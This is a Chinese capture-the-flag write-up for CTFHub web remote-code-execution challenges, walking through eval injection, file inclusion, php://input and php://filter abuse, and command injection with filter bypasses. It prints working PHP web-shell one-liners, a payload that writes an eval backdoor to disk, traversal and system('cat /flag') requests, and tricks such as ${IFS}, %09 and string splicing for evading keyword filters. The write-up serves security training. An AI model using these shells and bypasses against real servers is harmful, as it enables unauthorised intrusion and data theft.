CTFHUB-web-RCE

eval执行

 <?php
if (isset($_REQUEST['cmd'])) {
    eval($_REQUEST["cmd"]);
} else {
    highlight_file(__FILE__);
}
?> 

看下当前目录

?cmd=print_r(getcwd());

在这里插入图片描述

可以执行命令

print_r(system('ls'));

在这里插入图片描述

查看上级目录?cmd=print_r(system('ls ../../../'));

在这里插入图片描述

直接cat flag?cmd=print_r(system('cat ../../../flag_17045'));

在这里插入图片描述

==flag{ctfhub{1386122887aeba8899f58668} ==

容易导致其他问题的函数

assert()										pcntl_exex()
array_filter()									preg_replace()
array_map()										require()
array_reduce()									require_once()
array_diff_uassoc()								register_shutdown_function()
array_diff_ukey()								register_tick_function()
array_udiff()									set_error_handler()
array_udiff_assoc()								shell_exec()
array_udiff_uassoc()							stream_filter_register()
array_intersect_assoc()							system()
array_intersect_uassoc()						usort()
array_uintersect()								uasort()
array_uintersect_assoc()						uksort()
array_uintersect_uassoc()						xml_set_character_data_handler()
array_walk()									xml_set_default_handler()
array_walk_recursive()							xml_set_element_handler()
create_function()								xml_set_external_entity_ref_handler()
escapeshellcmd()								xml_set_notation_decl_handler()
exec()											xml_set_processing_instruction_handler()
include											xml_set_start_namespace_decl_handler()
include_once()									xml_set_unparsed_entity_decl_handler()
ob_start()
passthru()

文件包含

在这里插入图片描述

有个shell文件

<?php eval($_REQUEST['ctfhub']);?>

包含shell.txt后可以通过post来传递参数,注意后面要加上个 ‘;’

在这里插入图片描述

直接cat /flag

在这里插入图片描述

flag: ctfhub{f2b453955e0f17c23a1bc9ac}

php://input

  • php://input

可以访问请求的原始数据的只读流。即可以直接读取到POST上没有经过解析的原始数据。 enctype=”multipart/form-data” 的时候 php://input 是无效的。

用法:?file=php://input 数据利用POST传过去。

  • php://input (读取POST数据)

碰到file_get_contents()就要想到用php://input绕过,因为php伪协议也是可以利用http协议的,即可以使用POST方式传数据,具体函数意义下一项;

利用post传参写入一句话木马

<?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[attack])?>');?>

在这里插入图片描述

flag: ctfhub{cb3d5ba59ebc6b2db398812f}

远程包含

在这里插入图片描述

PHP的配置文件allow_url_fopen和allow_url_include设置为ON,include/require等包含函数可以加载远程文件,如果远程文件没经过严格的过滤,导致了执行恶意文件的代码,这就是远程文件包含漏洞。

allow_url_fopen = On(是否允许打开远程文件)

allow_url_include = On(是否允许include/require远程文件)

看php文件这两个都是打开的

在这里插入图片描述

这个得要台服务器,或者自个搭一个用内网穿透也行,远程包含自己的文件

在这里插入图片描述

比如之前的shell.txt

<?php eval($_REQUEST['ctfhub']);?>

我这里就不用了

有回显,还是能用上面的那个php://input来利用

<?php system('ls')?> post直接传参

在这里插入图片描述

还是直接获取flag

<?php system('cat /flag')?>

flag : ctfhub{f5517ca3b04b51aa31b49aa4}

读取源代码

使用: php://filter(本地磁盘文件进行读取)
元封装器,设计用于”数据流打开”时的”筛选过滤”应用,对本地磁盘文件进行读写。

用法:?filename=php://filter/convert.base64-encode/resource=xxx.php

提示flag在根目录下,直接看就行

?file=php://filter/read=convert.base64-encode/resource=../../../../../../flag

在这里插入图片描述

base64解码

在这里插入图片描述

flag: ctfhub{6b3a6d0e01d6832e740d3074}

命令注入

加上个分号,执行完ping就会执行ls命令

在这里插入图片描述

直接查看23032094216117.php,然后看源代码就能看到flag

在这里插入图片描述

ctfhub{27f12d5007ca3d45f7365bc6}

过滤cat

还是一样的操作,只不过他不能用cat命令了

在这里插入图片描述

可以用head命令来代替cat

在这里插入图片描述

其他常用的文本查看命令

cat:从第一行开始显示文本内容(适用于内容较少的)
tac:从最后一行开始显示,是 cat 的逆顺序
more:一页一页的显示文本内容(适用于内容较多的)
less:与 more 类似,但是比 more 更好的是,它可以往前翻页!
head:只看文本的前面几行
tail:只看文本的后面几行
nl:显示文本内容与行号

flag : ctfhub{99e637628c4511cfb8c681c2}

过滤空格

可以用==<==来代替空格

在这里插入图片描述

其他绕过空格的方式

cat flag.txt
cat${IFS}flag.txt
cat$IFS$9flag.txt
cat<flag.txt
cat<>flag.txt

flag: ctfhub{e9621b066f9456151a78a8d5}

过滤目录分隔符

可以直接进入该目录这样就不用目录分隔符了

在这里插入图片描述

flag : ctfhub{eeab934565c4d501dc410050}

过滤运算符

可以用这些字符代替

linux中:%0a 、%0d 、;&|&&||

windows中:%0a、&|

没啥影响,直接用分号==;== 就行

在这里插入图片描述

flag:ctfhub{9769a758a85a9e8a83d591b4}

综合过滤练习

看了下过滤了很多东东

!preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)

可以用==%0a==(换行符)来代替分隔符,用==%09==来代替空格

在这里插入图片描述

过滤flag可以用拼接的方法解决,比如

a=fl
b=ag_is_here
a a ab 就相当于flag_is_here

http://challenge-46b3d1c36e3dccfa.sandbox.ctfhub.com:10800/?ip=0.1.1.1%0aa=fl%0ab=ag_is_here%0als%09$a$b#

在这里插入图片描述

依旧还是用拼接的方法读取文件

http://challenge-46b3d1c36e3dccfa.sandbox.ctfhub.com:10800/?ip=0.1.1.1%0aa=fl%0ab=ag%0ac=_is_here%0acd%09$a$b$c%0ad=_2223101105257.php%0ahead%09$a$b$d#

在这里插入图片描述

flag: ctfhub{e30304e28433f41432168496}

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

ofo300

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值